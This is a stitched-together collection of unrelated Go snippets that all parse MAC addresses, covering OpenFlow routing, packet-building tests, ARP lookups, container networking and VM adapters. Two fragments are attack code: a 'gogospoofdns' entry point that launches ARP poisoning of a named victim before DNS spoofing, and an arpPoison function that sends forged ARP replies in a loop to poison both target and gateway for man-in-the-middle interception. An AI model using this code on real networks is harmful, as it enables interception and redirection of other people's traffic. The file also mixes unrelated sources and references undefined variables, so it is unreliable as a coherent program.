func main() {
if os.Geteuid() != 0 {
fmt.Println("gogospoofdns requires root!")
return
}
var dev string = "eno1"
fmt.Println("Running arp poison")
routerMac, err := net.ParseMAC("00:1A:6D:38:15:FF")
routerIP := net.IP{192, 168, 0, 100}
localMac, err := net.ParseMAC("98:90:96:D5:84:7B")
localIP := net.IP{192, 168, 0, 9}
victimMac, err := net.ParseMAC("98:90:96:DC:fB:6A")
victimIP := net.IP{192, 168, 0, 10}
/********* end parse all IP's and MAC's relevent for poisoning / spoofing *********/
if err != nil {
fmt.Println(err)
os.Exit(1)
}
go arpPoison(dev, routerMac, routerIP, localMac, localIP, victimMac, victimIP)
fmt.Println("Running spoofer")
spoof(dev)
}
// Parsing Base64 encode client IP and Mac
func ParseParams(params string) (clientIp pgx.NullString, ipV4 bool, clientMac pgx.NullString) {
ipV4 = false
clientIp = pgx.NullString{Valid: false}
clientMac = pgx.NullString{Valid: false}
b, err := base64.StdEncoding.DecodeString(params)
if err != nil {
// fmt.Println(err.Error())
umac, err := net.ParseMAC(params)
if err == nil {
clientMac = pgx.NullString{String: umac.String(), Valid: true}
}
return clientIp, ipV4, clientMac
}
s := strings.SplitN(string(b), "|", 2)
if len(s) != 2 {
return clientIp, ipV4, clientMac
}
clientIp, ipV4 = GetIP(s[0])
umac, err := net.ParseMAC(s[1])
if err == nil {
clientMac = pgx.NullString{String: umac.String(), Valid: true}
}
return clientIp, ipV4, clientMac
}
func TestPackEthIPv4UDPRaw(t *testing.T) {
eth_pkt := eth.Make()
eth_pkt.SrcAddr, _ = net.ParseMAC(hwsrc_str)
eth_pkt.DstAddr, _ = net.ParseMAC(hwdst_str)
ip4_pkt := ipv4.Make()
ip4_pkt.SrcAddr = net.ParseIP(ipsrc_str)
ip4_pkt.DstAddr = net.ParseIP(ipdst_str)
udp_pkt := udp.Make()
udp_pkt.SrcPort = 41562
udp_pkt.DstPort = 8338
raw_pkt := raw.Make()
raw_pkt.Data = []byte("fdg agfh ldfhgk hfdkgh kfjdhsg kshfdgk")
data, err := layers.Pack(eth_pkt, ip4_pkt, udp_pkt, raw_pkt)
if err != nil {
t.Fatalf("Error packing: %s", err)
}
if ip4_pkt.GetLength() != 66 {
t.Fatalf("IPv4 length mismatch: %d", ip4_pkt.GetLength())
}
if udp_pkt.GetLength() != 46 {
t.Fatalf("UDP length mismatch: %d", udp_pkt.GetLength())
}
if !bytes.Equal(test_eth_ipv4_udp_raw, data) {
t.Fatalf("Raw packet mismatch: %x", data)
}
}
func TestPackEthIPv4TCPRaw(t *testing.T) {
eth_pkt := eth.Make()
eth_pkt.SrcAddr, _ = net.ParseMAC(hwsrc_str)
eth_pkt.DstAddr, _ = net.ParseMAC(hwdst_str)
ip4_pkt := ipv4.Make()
ip4_pkt.SrcAddr = net.ParseIP(ipsrc_str)
ip4_pkt.DstAddr = net.ParseIP(ipdst_str)
tcp_pkt := tcp.Make()
tcp_pkt.SrcPort = 41562
tcp_pkt.DstPort = 8338
tcp_pkt.Flags = tcp.Syn
tcp_pkt.WindowSize = 8192
raw_pkt := raw.Make()
raw_pkt.Data = []byte("fdg agfh ldfhgk hfdkgh kfjdhsg kshfdgk")
data, err := layers.Pack(eth_pkt, ip4_pkt, tcp_pkt, raw_pkt)
if err != nil {
t.Fatalf("Error packing: %s", err)
}
if ip4_pkt.GetLength() != 78 {
t.Fatalf("IPv4 length mismatch: %d", ip4_pkt.GetLength())
}
if tcp_pkt.GetLength() != 58 {
t.Fatalf("TCP length mismatch: %d", tcp_pkt.GetLength())
}
if !bytes.Equal(test_eth_ipv4_tcp_raw, data) {
t.Fatalf("Raw packet mismatch: %x", data)
}
}
// BuildGarpPkt builds a Gratuitous ARP packet
func BuildGarpPkt(ip net.IP, mac net.HardwareAddr, vlanID uint16) *openflow13.PacketOut {
zMac, _ := net.ParseMAC("00:00:00:00:00:00")
bMac, _ := net.ParseMAC("FF:FF:FF:FF:FF:FF")
garpPkt, _ := protocol.NewARP(protocol.Type_Request)
garpPkt.HWSrc = mac
garpPkt.IPSrc = ip
garpPkt.HWDst = zMac
garpPkt.IPDst = ip
// Build the ethernet packet
ethPkt := protocol.NewEthernet()
ethPkt.VLANID.VID = vlanID
ethPkt.HWDst = bMac
ethPkt.HWSrc = mac
ethPkt.Ethertype = 0x0806
ethPkt.Data = garpPkt
// Construct Packet out
pktOut := openflow13.NewPacketOut()
pktOut.Data = ethPkt
return pktOut
}
// injectArpReq injects an ARP request into ofnet
func injectArpReq(ofa *OfnetAgent, inPort, vlan int, macSrc, macDst, ipSrc, ipDst string) error {
if macDst == "" {
macDst = "ff:ff:ff:ff:ff:ff"
}
// inject an ARP request from ep1 for ep2
arpReq := openflow13.NewPacketIn()
arpReq.Match.Type = openflow13.MatchType_OXM
arpReq.Match.AddField(*openflow13.NewInPortField(uint32(inPort)))
arpReq.Data = *protocol.NewEthernet()
arpReq.Data.Ethertype = protocol.ARP_MSG
arpReq.Data.HWDst, _ = net.ParseMAC(macDst)
arpReq.Data.HWSrc, _ = net.ParseMAC(macSrc)
if vlan != 0 {
arpReq.Data.VLANID.VID = uint16(vlan)
}
arpPkt, _ := protocol.NewARP(protocol.Type_Request)
arpPkt.HWSrc, _ = net.ParseMAC(macSrc)
arpPkt.IPSrc = net.ParseIP(ipSrc)
arpPkt.HWDst, _ = net.ParseMAC("00:00:00:00:00:00")
arpPkt.IPDst = net.ParseIP(ipDst)
arpReq.Data.Data = arpPkt
pkt := ofctrl.PacketIn(*arpReq)
ofa.PacketRcvd(ofa.ofSwitch, &pkt)
log.Debugf("Injected ARP request: %+v\n Packet: %+v", arpPkt, arpReq)
return nil
}
func TestEthUnmarshalBinary(t *testing.T) {
b := " 00 " + // Delim
"0a b0 0c 0d e0 0f " + // HWDst
"00 00 00 00 00 ff " + // HWSrc
"88 00 " // Ethertype
b = strings.Replace(b, " ", "", -1)
byte, _ := hex.DecodeString(b)
t.Log("Decoded hex string")
a := New() // Ensure type is set correctly
a.UnmarshalBinary(byte)
t.Log("Unmarshaled binary")
dst, _ := net.ParseMAC("0a:b0:0c:0d:e0:0f")
src, _ := net.ParseMAC("00:00:00:00:00:ff")
if int(a.Len()) != (len(byte) - 1) {
t.Errorf("Got length of %d, expected %d.", a.Len(), (len(byte) - 1))
} else if a.Ethertype != 0x8800 {
t.Errorf("Got type %d, expected %d.", a.Ethertype, 0x0880)
} else if bytes.Compare(a.HWDst, dst) != 0 {
t.Log("Exp:", dst)
t.Log("Rec:", a.HWDst)
t.Errorf("Received length of %d, expected %d", len(a.HWDst), len(dst))
} else if bytes.Compare(a.HWSrc, src) != 0 {
t.Log("Exp:", src)
t.Log("Rec:", a.HWSrc)
t.Errorf("Received length of %d, expected %d", len(a.HWSrc), len(src))
}
}
func TestWriteFrame(t *testing.T) {
var (
ifce *net.Interface
err error
d Dev
)
if ifce, err = net.InterfaceByName(*dev); err != nil {
t.Fatalf("getting interface error: %v", err)
}
d, err = NewDev(ifce, nil)
if err != nil {
t.Fatal(err)
}
dst, err := net.ParseMAC("ff:ff:ff:ff:ff:ff")
if err != nil {
t.Fatal(err)
}
src, err := net.ParseMAC("12:34:56:78:9a:bc")
if err != nil {
t.Fatal(err)
}
var frame ethernet.Frame
w := func() (err error) {
(&frame).Prepare(dst, src, ethernet.NotTagged, ethernet.WSMP, 13)
copy(frame.Payload(), "Hello, World!")
err = d.Write(frame)
if err != nil {
return
}
return
}
for i := 0; i < 16; i++ {
if nil != w() {
t.Fatal(err)
}
}
(&frame).Resize(d.Interface().MTU)
if err = d.Write(frame); err != nil {
t.Fatalf("writing frame with payload size equal to MTU fails: %v", err)
}
(&frame).Resize(d.Interface().MTU + 1)
if nil == d.Write(frame) {
t.Fatalf("writing frame with payload larger than MTU does not fail")
}
err = d.Close()
if err != nil {
t.Fatal(err)
}
if err = w(); nil == err {
t.Fatal("closed Dev can still write")
}
}
// initialize Fgraph on the switch
func (self *Vlrouter) initFgraph() error {
sw := self.ofSwitch
// Create all tables
self.inputTable = sw.DefaultTable()
self.vlanTable, _ = sw.NewTable(VLAN_TBL_ID)
self.ipTable, _ = sw.NewTable(IP_TBL_ID)
//Create all drop entries
// Drop mcast source mac
bcastMac, _ := net.ParseMAC("01:00:00:00:00:00")
bcastSrcFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MATCH_PRIORITY,
MacSa: &bcastMac,
MacSaMask: &bcastMac,
})
bcastSrcFlow.Next(sw.DropAction())
// Redirect ARP packets to controller
arpFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MATCH_PRIORITY,
Ethertype: 0x0806,
})
arpFlow.Next(sw.SendToController())
//All ARP replies will need IP table lookup
Mac, _ := net.ParseMAC("00:00:11:11:11:11")
arpFlow, _ = self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: 300,
Ethertype: 0x0806,
MacSa: &Mac,
})
arpFlow.Next(self.ipTable)
// Send all valid packets to vlan table
// This is installed at lower priority so that all packets that miss above
// flows will match entry
validPktFlow, _ := self.inputTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
validPktFlow.Next(self.vlanTable)
// Drop all packets that miss Vlan lookup
vlanMissFlow, _ := self.vlanTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
vlanMissFlow.Next(sw.DropAction())
// Drop all packets that miss IP lookup
ipMissFlow, _ := self.ipTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MISS_PRIORITY,
})
ipMissFlow.Next(sw.DropAction())
return nil
}
func MakeTestSimple() *eth.Packet {
hwsrc, _ := net.ParseMAC(hwsrc_str)
hwdst, _ := net.ParseMAC(hwdst_str)
return ð.Packet{
SrcAddr: hwsrc,
DstAddr: hwdst,
Type: eth.IPv4,
}
}
func (fl *FlowLayer) Hash() []byte {
if fl == nil {
return []byte{}
}
if fl.Protocol == FlowProtocol_ETHERNET {
amac, err := net.ParseMAC(fl.A)
if err != nil {
panic(err)
}
bmac, err := net.ParseMAC(fl.B)
if err != nil {
panic(err)
}
return HashFromValues(amac, bmac)
}
if fl.Protocol == FlowProtocol_IPV4 || fl.Protocol == FlowProtocol_IPV6 {
aip := net.ParseIP(fl.A)
bip := net.ParseIP(fl.B)
return HashFromValues(aip, bip)
}
if fl.Protocol == FlowProtocol_TCPPORT {
aTCPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bTCPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.TCPPort(aTCPPort), layers.TCPPort(bTCPPort))
}
if fl.Protocol == FlowProtocol_UDPPORT {
aUDPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bUDPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.UDPPort(aUDPPort), layers.UDPPort(bUDPPort))
}
if fl.Protocol == FlowProtocol_SCTPPORT {
aSCTPPort, err := strconv.ParseUint(fl.A, 10, 16)
if err != nil {
panic(err)
}
bSCTPPort, err := strconv.ParseUint(fl.B, 10, 16)
if err != nil {
panic(err)
}
return HashFromValues(layers.SCTPPort(aSCTPPort), layers.SCTPPort(bSCTPPort))
}
return nil
}
func main() {
log.SetFlags(0)
usage := `Usage: arp <addr>
Resolve the given IP address using ARP.`
args, err := docopt.Parse(usage, nil, true, "", false)
if err != nil {
log.Fatalf("Invalid arguments: %s", err)
}
addr := args["<addr>"].(string)
addr_ip := net.ParseIP(addr)
timeout := 5 * time.Second
route, err := routing.RouteTo(addr_ip)
if err != nil {
log.Fatalf("Error: %s", err)
}
if route == nil {
log.Println("No route found")
}
c, err := pcap.Open(route.Iface.Name)
if err != nil {
log.Fatalf("Error opening interface: %s", err)
}
defer c.Close()
err = c.Activate()
if err != nil {
log.Fatalf("Error activating source: %s", err)
}
eth_pkt := eth.Make()
eth_pkt.SrcAddr = route.Iface.HardwareAddr
eth_pkt.DstAddr, _ = net.ParseMAC("ff:ff:ff:ff:ff:ff")
arp_pkt := arp.Make()
arp_pkt.HWSrcAddr = route.Iface.HardwareAddr
arp_pkt.HWDstAddr, _ = net.ParseMAC("00:00:00:00:00:00")
arp_pkt.ProtoSrcAddr, _ = route.GetIfaceIPv4Addr()
arp_pkt.ProtoDstAddr = addr_ip
pkt, err := network.SendRecv(c, timeout, eth_pkt, arp_pkt)
if err != nil {
log.Fatal(err)
}
log.Println(pkt.Payload().(*arp.Packet).HWSrcAddr)
}
func TestIsUniqueFunction(t *testing.T) {
assert := assert.New(t)
uniqueMac, err := net.ParseMAC("ca:cf:1a:8b:9b:d5")
assert.Nil(err)
assert.False(isUnique(uniqueMac))
nonuniqueMac, err := net.ParseMAC("00:00:00:ea:95:ee")
assert.Nil(err)
assert.True(isUnique(nonuniqueMac))
}
// NetworkAdapters lists current network adapters attached to the virtual
// machine.
func (v *VM) NetworkAdapters() ([]*NetworkAdapter, error) {
vmxPath, err := v.VmxPath()
if err != nil {
return nil, err
}
vmx, err := readVmx(vmxPath)
if err != nil {
return nil, err
}
var adapters []*NetworkAdapter
// VMX ethernet adapters seem to not be zero based
for i := 1; i <= v.totalNetworkAdapters(vmx); i++ {
id := strconv.Itoa(i)
prefix := "ethernet" + id
if vmx[prefix+".present"] == "FALSE" {
continue
}
wakeOnPckRcv, _ := strconv.ParseBool(vmx[prefix+".wakeOnPcktRcv"])
lnkStateProp, _ := strconv.ParseBool(vmx[prefix+".linkStatePropagation.enable"])
present, _ := strconv.ParseBool(vmx[prefix+".present"])
startConnected, _ := strconv.ParseBool(vmx[prefix+".startConnected"])
address, _ := net.ParseMAC(vmx[prefix+".address"])
genAddress, _ := net.ParseMAC(vmx[prefix+".generatedAddress"])
vswitch, _ := GetVSwitch(vmx[prefix+".vnet"])
adapter := &NetworkAdapter{
ID: id,
present: present,
ConnType: NetworkType(vmx[prefix+".connectionType"]),
Vdevice: VNetDevice(vmx[prefix+".virtualDev"]),
WakeOnPcktRcv: wakeOnPckRcv,
LinkStatePropagation: lnkStateProp,
MacAddrType: MacAddressType(vmx[prefix+".addressType"]),
MacAddress: address,
VSwitch: vswitch,
StartConnected: startConnected,
GeneratedMacAddress: genAddress,
GeneratedMacAddressOffset: vmx[prefix+".generatedAddressOffset"],
PciSlotNumber: vmx[prefix+".pciSlotNumber"],
}
adapters = append(adapters, adapter)
}
return adapters, nil
}
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}
func TestFilterApplyMac(t *testing.T) {
// compare contains
f, err := NewFilter("f_mac contains 23:45")
if err != nil {
t.Fatal(err)
}
h1, _ := net.ParseMAC("01:23:45:67:89:ab:cd:ef")
if !f.Apply(map[string]interface{}{"f_mac": h1}) {
t.Error("Packet must pass")
}
h2, _ := net.ParseMAC("01:23:44:67:89:ab:cd:ef1")
if f.Apply(map[string]interface{}{"f_mac": h2}) {
t.Error("Packet must not pass")
}
}
func main() {
gatoradeDashButton, _ := net.ParseMAC("74:75:48:a4:59:a8")
gladDashButton, _ := net.ParseMAC("74:75:48:29:a8:7c")
flag.Parse()
log.Printf("Starting up gobot.io features...")
e := edison.NewEdisonAdaptor("edison")
// blue led on D4
led1 := gpio.NewLedDriver(e, "led", "4")
// red led on D3
led2 := gpio.NewLedDriver(e, "led", "3")
e.Connect()
led1.Start()
led2.Start()
log.Printf("Starting up on interface[%v]...", *interfaceName)
h, err := pcap.OpenLive(*interfaceName, 65536, true, pcap.BlockForever)
if err != nil || h == nil {
log.Fatalf("Error opening interface: %s\nPerhaps you need to run as root?\n", err)
}
defer h.Close()
err = h.SetBPFFilter("arp and ((ether src host " + gatoradeDashButton.String() + ") or (ether src host " + gladDashButton.String() + "))")
if err != nil {
log.Fatalf("Unable to set filter! %s\n", err)
}
log.Println("Listening for Dash buttons...")
packetSource := gopacket.NewPacketSource(h, h.LinkType())
// Since we're using a BPF filter to limit packets to only our buttons, we don't need to worry about anything besides MAC here...
for packet := range packetSource.Packets() {
ethernetLayer := packet.Layer(layers.LayerTypeEthernet)
ethernetPacket, _ := ethernetLayer.(*layers.Ethernet)
if bytes.Equal(ethernetPacket.SrcMAC, gatoradeDashButton) {
gatoradeButtonPress(led1)
} else if bytes.Equal(ethernetPacket.SrcMAC, gladDashButton) {
gladButtonPress(led2)
} else {
log.Printf("Received button press, but don't know how to handle MAC[%v]", ethernetPacket.SrcMAC)
}
}
}
func main() {
// 以下读取网卡信息
Interface, err := net.Interfaces()
if err != nil {
panic("未发现网卡地址")
os.Exit(1)
}
handwareAddrs = make(map[string]string, len(Interface))
for _, inter := range Interface {
inMAC := strings.ToUpper(inter.HardwareAddr.String())
handwareAddrs[inMAC] = inMAC
}
if len(os.Args) != 2 {
fmt.Println("为保障安全:请先绑定本机上的网卡地址")
os.Exit(0)
}
addr := os.Args[1]
h, e := net.ParseMAC(addr)
if e != nil {
fmt.Println("为保障安全:请先绑定本机上的网卡地址")
fmt.Println("方法：client.exe 90-4C-E5-58-7E-FE")
os.Exit(2)
}
inputMAC := strings.ToUpper(h.String())
if inputMAC != handwareAddrs[inputMAC] {
fmt.Println("网卡地址不匹配")
os.Exit(0)
}
}
func (d *driver) resolvePeer(nid string, peerIP net.IP) (net.HardwareAddr, net.IPMask, net.IP, error) {
qPayload := fmt.Sprintf("%s %s", string(nid), peerIP.String())
resp, err := d.serfInstance.Query("peerlookup", []byte(qPayload), nil)
if err != nil {
return nil, nil, nil, fmt.Errorf("resolving peer by querying the cluster failed: %v", err)
}
respCh := resp.ResponseCh()
select {
case r := <-respCh:
var macStr, maskStr, vtepStr string
if _, err := fmt.Sscan(string(r.Payload), &macStr, &maskStr, &vtepStr); err != nil {
return nil, nil, nil, fmt.Errorf("bad response %q for the resolve query: %v", string(r.Payload), err)
}
mac, err := net.ParseMAC(macStr)
if err != nil {
return nil, nil, nil, fmt.Errorf("failed to parse mac: %v", err)
}
return mac, net.IPMask(net.ParseIP(maskStr).To4()), net.ParseIP(vtepStr), nil
case <-time.After(time.Second):
return nil, nil, nil, fmt.Errorf("timed out resolving peer by querying the cluster")
}
}
func mustParseMAC(value string) net.HardwareAddr {
parsedMAC, err := net.ParseMAC(value)
if err != nil {
panic(fmt.Sprintf("cannot parse MAC %q: %v", value, err))
}
return parsedMAC
}
func SetMacAddress(name, addr string) error {
if len(name) >= IFNAMSIZ {
return fmt.Errorf("Interface name %s too long", name)
}
hw, err := net.ParseMAC(addr)
if err != nil {
return err
}
s, err := getIfSocket()
if err != nil {
return err
}
defer syscall.Close(s)
ifr := ifreqHwaddr{}
ifr.IfruHwaddr.Family = syscall.ARPHRD_ETHER
copy(ifr.IfrnName[:len(ifr.IfrnName)-1], name)
for i := 0; i < 6; i++ {
ifr.IfruHwaddr.Data[i] = ifrDataByte(hw[i])
}
if _, _, err := syscall.Syscall(syscall.SYS_IOCTL, uintptr(s), syscall.SIOCSIFHWADDR, uintptr(unsafe.Pointer(&ifr))); err != 0 {
return err
}
return nil
}
func (m *Machine) validateSetLinkLayerDeviceArgs(args *LinkLayerDeviceArgs) error {
if args.Name == "" {
return errors.NotValidf("empty Name")
}
if !IsValidLinkLayerDeviceName(args.Name) {
logger.Warningf(
"link-layer device %q on machine %q has invalid name (using anyway)",
args.Name, m.Id(),
)
}
if args.ParentName != "" {
if err := m.validateLinkLayerDeviceParent(args); err != nil {
return errors.Trace(err)
}
}
if !IsValidLinkLayerDeviceType(string(args.Type)) {
return errors.NotValidf("Type %q", args.Type)
}
if args.MACAddress != "" {
if _, err := net.ParseMAC(args.MACAddress); err != nil {
return errors.NotValidf("MACAddress %q", args.MACAddress)
}
}
return nil
}
func (test *testEndpoint) MacAddress() net.HardwareAddr {
if test.macAddress == "" {
return nil
}
mac, _ := net.ParseMAC(test.macAddress)
return mac
}
func (ep *endpoint) UnmarshalJSON(value []byte) error {
var (
err error
epMap map[string]interface{}
)
json.Unmarshal(value, &epMap)
ep.id = epMap["id"].(string)
ep.nid = epMap["nid"].(string)
if v, ok := epMap["mac"]; ok {
if ep.mac, err = net.ParseMAC(v.(string)); err != nil {
return types.InternalErrorf("failed to decode endpoint interface mac address after json unmarshal: %s", v.(string))
}
}
if v, ok := epMap["addr"]; ok {
if ep.addr, err = types.ParseCIDR(v.(string)); err != nil {
return types.InternalErrorf("failed to decode endpoint interface ipv4 address after json unmarshal: %v", err)
}
}
if v, ok := epMap["ifName"]; ok {
ep.ifName = v.(string)
}
return nil
}
func (i *ipam) RequestAddress(rq *ipamapi.RequestAddressRequest) (res *ipamapi.RequestAddressResponse, err error) {
Log.Debugln("RequestAddress %v", rq)
defer func() { Log.Debugln("RequestAddress returned res: %v, err: %v", res, err) }()
options := rq.Options
macAddr, err := net.ParseMAC(options[netlabel.MacAddress])
if err != nil {
err = fmt.Errorf("Mac address not understood %v", options[netlabel.MacAddress])
return
}
parts := strings.Split(rq.PoolID, "-")
if len(parts) != 3 || parts[0] != PoolName {
err = fmt.Errorf("Unrecognized pool ID: %s", rq.PoolID)
return
}
var subnet, iprange *net.IPNet
if _, subnet, err = net.ParseCIDR(parts[1]); err != nil {
return
}
if _, iprange, err = net.ParseCIDR(parts[2]); err != nil {
return
}
Log.Debugf("We should query DHCP with: mac %v, subnet %v, iprange %v", macAddr, subnet, iprange)
res = &ipamapi.RequestAddressResponse{
Address: "172.13.0.84/24",
Data: map[string]string{
"ohay": "Good day to you too, sir!",
},
}
return
}
// UpdatePort updates an OVS port without creating it
func (sw *OvsSwitch) UpdatePort(intfName string, cfgEp *OvsCfgEndpointState, pktTag int) error {
// Get OVS port name
ovsPortName := getOvsPostName(intfName)
// Add the endpoint to ofnet
if sw.netType == "vxlan" {
// Get the openflow port number for the interface
ofpPort, err := sw.ovsdbDriver.GetOfpPortNo(ovsPortName)
if err != nil {
log.Errorf("Could not find the OVS port %s. Err: %v", ovsPortName, err)
return err
}
macAddr, _ := net.ParseMAC(cfgEp.MacAddress)
// Build the endpoint info
endpoint := ofnet.EndpointInfo{
PortNo: ofpPort,
MacAddr: macAddr,
Vlan: uint16(pktTag),
IpAddr: net.ParseIP(cfgEp.IPAddress),
}
// Add the local port to ofnet
err = sw.ofnetAgent.AddLocalEndpoint(endpoint)
if err != nil {
log.Errorf("Error adding local port %s to ofnet. Err: %v", ovsPortName, err)
return err
}
}
return nil
}
// Mac route add rpc call from master
func (self *Vxlan) MacRouteAdd(macRoute *MacRoute, ret *bool) error {
log.Infof("Received mac route: %+v", macRoute)
// If this is a local route we are done
if macRoute.OriginatorIp.String() == self.agent.localIp.String() {
return nil
}
// Check if we have the route already and which is more recent
oldRoute := self.macRouteDb[macRoute.MacAddrStr]
if oldRoute != nil {
// If old route has more recent timestamp, nothing to do
if !macRoute.Timestamp.After(oldRoute.Timestamp) {
return nil
}
}
// First, add the route to local routing table
self.macRouteDb[macRoute.MacAddrStr] = macRoute
// Lookup the VTEP for the route
vtepPort := self.agent.vtepTable[macRoute.OriginatorIp.String()]
if vtepPort == nil {
log.Errorf("Could not find the VTEP for mac route: %+v", macRoute)
return errors.New("VTEP not found")
}
// map VNI to vlan Id
vlanId := self.agent.vniVlanMap[macRoute.Vni]
if vlanId == nil {
log.Errorf("Macroute %+v on unknown VNI: %d", macRoute, macRoute.Vni)
return errors.New("Unknown VNI")
}
macAddr, _ := net.ParseMAC(macRoute.MacAddrStr)
// Install the route in OVS
// Create an output port for the vtep
outPort, err := self.ofSwitch.OutputPort(*vtepPort)
if err != nil {
log.Errorf("Error creating output port %d. Err: %v", *vtepPort, err)
return err
}
// Finally install the mac address
macFlow, _ := self.macDestTable.NewFlow(ofctrl.FlowMatch{
Priority: FLOW_MATCH_PRIORITY,
VlanId: *vlanId,
MacDa: &macAddr,
})
macFlow.PopVlan()
macFlow.SetTunnelId(uint64(macRoute.Vni))
macFlow.Next(outPort)
// Save the flow in DB
self.macFlowDb[macRoute.MacAddrStr] = macFlow
return nil
}
// HandleXpeerPingMessage receives a cross-peer ping message
func (p *PeerToPeer) HandleXpeerPingMessage(msg *P2PMessage, srcAddr *net.UDPAddr) {
pt := PingType(msg.Header.NetProto)
if pt == PingReq {
Log(Debug, "Ping request received")
// Send a PING response
r := CreateXpeerPingMessage(PingResp, p.HardwareAddr.String())
addr, err := net.ParseMAC(string(msg.Data))
if err != nil {
Log(Error, "Failed to parse MAC address in crosspeer ping message")
} else {
p.SendTo(addr, r)
Log(Debug, "Sending to %s", addr.String())
}
} else {
Log(Debug, "Ping response received")
// Handle PING response
for i, peer := range p.NetworkPeers {
if peer.PeerHW.String() == string(msg.Data) {
peer.PingCount = 0
peer.LastContact = time.Now()
p.PeersLock.Lock()
p.NetworkPeers[i] = peer
p.PeersLock.Unlock()
runtime.Gosched()
}
}
}
}
func ValidateMACAddress(val string) (string, error) {
_, err := net.ParseMAC(strings.TrimSpace(val))
if err != nil {
return "", err
}
return val, nil
}
// Machines returns an array of the recognized machines in etcd datasource
// part of GeneralDataSource interface implementation
func (ds *EtcdDataSource) Machines() ([]Machine, error) {
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
response, err := ds.keysAPI.Get(ctx, ds.prefixify("/machines"), &etcd.GetOptions{Recursive: false})
if err != nil {
return nil, err
}
ret := make([]Machine, 0)
for _, ent := range response.Node.Nodes {
pathToMachineDir := ent.Key
machineName := pathToMachineDir[strings.LastIndex(pathToMachineDir, "/")+1:]
macStr := macFromName(machineName)
macAddr, err := net.ParseMAC(macStr)
if err != nil {
return nil, err
}
machine, exist := ds.GetMachine(macAddr)
if !exist {
return nil, errors.New("Inconsistent datasource")
}
ret = append(ret, machine)
}
return ret, nil
}
